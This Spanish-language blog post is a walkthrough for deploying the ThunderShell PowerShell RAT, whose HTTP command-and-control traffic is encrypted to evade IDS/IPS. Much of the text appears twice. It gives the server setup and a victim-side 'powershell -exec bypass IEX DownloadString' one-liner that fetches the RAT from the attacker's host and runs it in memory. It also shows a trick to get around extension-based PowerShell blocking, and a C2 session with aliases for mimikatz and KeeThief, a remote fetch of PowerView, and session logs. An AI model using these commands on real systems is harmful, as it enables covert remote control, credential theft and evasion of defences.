ThunderShell de Mr-Un1k0d3r es un RAT en Powershell que se basa en el uso de peticiones HTTP para la comunicación con el C&C.
Todo el tráfico de red se cifra utilizando una segunda capa de RC4 para evitar la interceptación SSL y anular cualquier sonda IDS/IPS o elemento de seguridad perimetral en la red.
DEPENDENCIAS
INSTALACIÓN SERVIDOR
Para que la víctima se conecte con el servidor del atacante deberá ejecutar el cliente (PS-RemoteShell.ps1). Lo más rápido es dejarlo accesible en Internet y usar el método DownloadString para descargar el contenido y ejecutarlo en memoria (fileless), como veremos más adelante.
En la PoC lo serviremos mismamente con un sencillo servidor con Python:
A continuación modificaremos el fichero de configuración (default.json) indicando los puertos e IPs del servidor redis y http donde escuchará el servidor:
Y lo lanzaremos simplemente con:
CONEXIÓN DEL CLIENTE
Ahora, en el PC de la víctima deberemos ejecutar:
Como veis utilizamos también el parámetro 'bypass' para evadir las políticas de ejecución de scripts.
Si es necesario, también podríamos modificar el payload según las defensas que encontremos en el equipo atacado. Por ejemplo, los administradores pueden bloquear PowerShell y otros intérpretes basados en una extensión, comúnmente .ps1. Para saltar esta restricción podríamos usar Get-Content para acceder al script en malware con extensión .ps2 y pasarla a Invoke-Expression (iex) para su ejecución:
A vueltas al consola del servidor podemos ver como se conecta la víctima y obtenemos una sesión interactiva:
LOGS
Todos los errores, peticiones http y comandos son registrados y guardados en la carpeta de logs, dentro de un directorio con nombre la fecha correspondiente. Por ejemplo:
Fuente: https://github.com/Mr-Un1k0d3r/ThunderShell
Todo el tráfico de red se cifra utilizando una segunda capa de RC4 para evitar la interceptación SSL y anular cualquier sonda IDS/IPS o elemento de seguridad perimetral en la red.
DEPENDENCIAS
apt install redis-server
apt install python-redis
INSTALACIÓN SERVIDOR
# git clone https://github.com/Mr-Un1k0d3r/ThunderShell.git
# cd ThunderShell
Para que la víctima se conecte con el servidor del atacante deberá ejecutar el cliente (PS-RemoteShell.ps1). Lo más rápido es dejarlo accesible en Internet y usar el método DownloadString para descargar el contenido y ejecutarlo en memoria (fileless), como veremos más adelante.
En la PoC lo serviremos mismamente con un sencillo servidor con Python:
# mkdir WEB
# mv PS-RemoteShell.ps1 WEB/
# cd WEB/
# python -m SimpleHTTPServer 12346 &
A continuación modificaremos el fichero de configuración (default.json) indicando los puertos e IPs del servidor redis y http donde escuchará el servidor:
{
"redis-host": "localhost",
"redis-port": 6379,
"http-host": "X.X.23.32",
"http-port": 8080,
"http-server": "Microsoft-IIS/7.5",
"https-enabled": "off",
"https-cert-path": "cert.pem",
"encryption-key": "test",
"max-output-timeout": 5
}
Y lo lanzaremos simplemente con:
root@atacante:~/ThunderShell# python ThunderShell.py default.json
Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
--------------------------------------------------------
[+] Starting web server on X.X.23.32 port 8080
CONEXIÓN DEL CLIENTE
Ahora, en el PC de la víctima deberemos ejecutar:
powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://X.X.23.32:12346/PS-RemoteShell.ps1'); PS-RemoteShell -ip X.X.23.32 -port 8080 -Key test -Delay 2000
Como veis utilizamos también el parámetro 'bypass' para evadir las políticas de ejecución de scripts.
Si es necesario, también podríamos modificar el payload según las defensas que encontremos en el equipo atacado. Por ejemplo, los administradores pueden bloquear PowerShell y otros intérpretes basados en una extensión, comúnmente .ps1. Para saltar esta restricción podríamos usar Get-Content para acceder al script en malware con extensión .ps2 y pasarla a Invoke-Expression (iex) para su ejecución:
powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex}
A vueltas al consola del servidor podemos ver como se conecta la víctima y obtenemos una sesión interactiva:
Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
--------------------------------------------------------
[+] Starting web server on X.X.23.32 port 8080
(Main)>>> X.X.123.12 - - [20/Sep/2017 20:41:19] "GET /PS-RemoteShell.ps1 HTTP/1.1" 200 -
(Main)>>>
[+] Registering new shell x64 - :WIN7PC\usuario
[+] New shell ID 1 GUID is 345cd113-1281-47d1-adc5-7c35d4207481
(Main)>>> help
Help Menu
-----------------------
list args (full) List all active shells
interact args (id) Interact with a session
show args (error/http/event, count) Show error, http or event log (default number of rows 10)
kill args (id) Kill shell (clear db only)
exit Exit the application
help Show this help menu
(Main)>>> list
List of active shells
-----------------------
1 x64 - :WIN7PC\usuario
(Main)>>> list full
List of active shells
-----------------------
1 x64 - :WIN7PC\usuario 345cd113-1281-47d1-adc5-7c35d4207481 last seen 20/09/2017 20:42:22
(Main)>>> interact 1
(x64 - :WIN7PC\usuario)>>> help
Shell Help Menu
-----------------------
background Return to the main console
refresh Check for previous commands output
fetch args (path/url, command) In memory execution of a script and execute a commmand
exec args (path/url) In memory execution of code (shellcode)
read args (remote path) Read a file on the remote host
upload args (path/url, path) Upload a file on the remote system
ps List processes
powerless args (powershell) Execute Powershell command without invoking Powershell
inject args (32/64, pid, command)Inject command into a target process (max length 4096)
alias args (key, value) Create an alias to avoid typing the same thing over and over
delay args (milliseconds) Update the callback delay
help Show this help menu
List of built in alias
-----------------------
powerup PowerUp tool set
wmiexec Remote-WmiExecute utility
searchevent Search-EventForUser utility
keethief KeeThief tool set (Get-KeePassDatabaseKey)
mimikatz Invoke-Mimikatz utility
inveigh Invoke-Inveigh utility
powerview PowerView tool set
List user defined alias
-----------------------
(x64 - :WIN7PC\usuario)>>> whoami
WIN7PC\usuario
(x64 - :WIN7PC\usuario)>>> delay 0
Updating delay to 0
Delay is now 0
(x64 - :WIN7PC\usuario)>>> refresh
(x64 - :WIN7PC\usuario)>>> ps
PID Name Owner CommandLine
--- ---- ----- -----------
0 System Idle Process
4 System
392 smss.exe
492 csrss.exe
548 csrss.exe
556 wininit.exe
592 winlogon.exe
652 services.exe
660 lsass.exe
...
(x64 - :WIN7PC\usuario)>>> fetch powerview Get-NetLocalGroup -ComputerName 127.0.0.1
[+] Fetching https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
[+] Executing Get-NetLocalGroup -ComputerName 127.0.0.1
WIN7PC\usuario
...
LOGS
Todos los errores, peticiones http y comandos son registrados y guardados en la carpeta de logs, dentro de un directorio con nombre la fecha correspondiente. Por ejemplo:
# ls /root/ThunderShell-master/logs/20-09-2017
event.log
http.log
shell_345cd113-1281-47d1-adc5-7c35d4207481.log
# cat event.log
[Wed Sep 20 20:41:32 2017] New Shell:
register 345cd113-1281-47d1-adc5-7c35d4207481 x64 - :WIN7PC\USUARIO
# cat http.log
X.X.123.12 (Wed Sep 20 20:41:32 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:39 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:42 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:46 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:50 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
...
# cat shell_345cd113-1281-47d1-adc5-7c35d4207481.log
[Wed Sep 20 20:43:30 2017] Sending:
help
[Wed Sep 20 20:43:48 2017] Sending:
whoami
[Wed Sep 20 20:43:55 2017] Received:
WIN7PC\usuario
[Wed Sep 20 20:44:11 2017] Sending:
delay 0
[Wed Sep 20 20:44:15 2017] Received:
Delay is now 0
[Wed Sep 20 20:44:17 2017] Sending:
whoami
[Wed Sep 20 20:44:20 2017] Received:
WIN7PC\usuario
[Wed Sep 20 20:44:38 2017] Sending:
fetch powerview Get-NetLocalGroup -ComputerName 127.0.0.1
[Wed Sep 20 20:45:07 2017] Sending:
refresh
[Wed Sep 20 20:45:36 2017] Sending:
ps
[Wed Sep 20 20:45:51 2017] Received:
PID Name Owner CommandLine
--- ---- ----- -----------
0 System Idle Process
4 System
392 smss.exe
492 csrss.exe
548 csrss.exe
....
Fuente: https://github.com/Mr-Un1k0d3r/ThunderShell
Comentarios
Publicar un comentario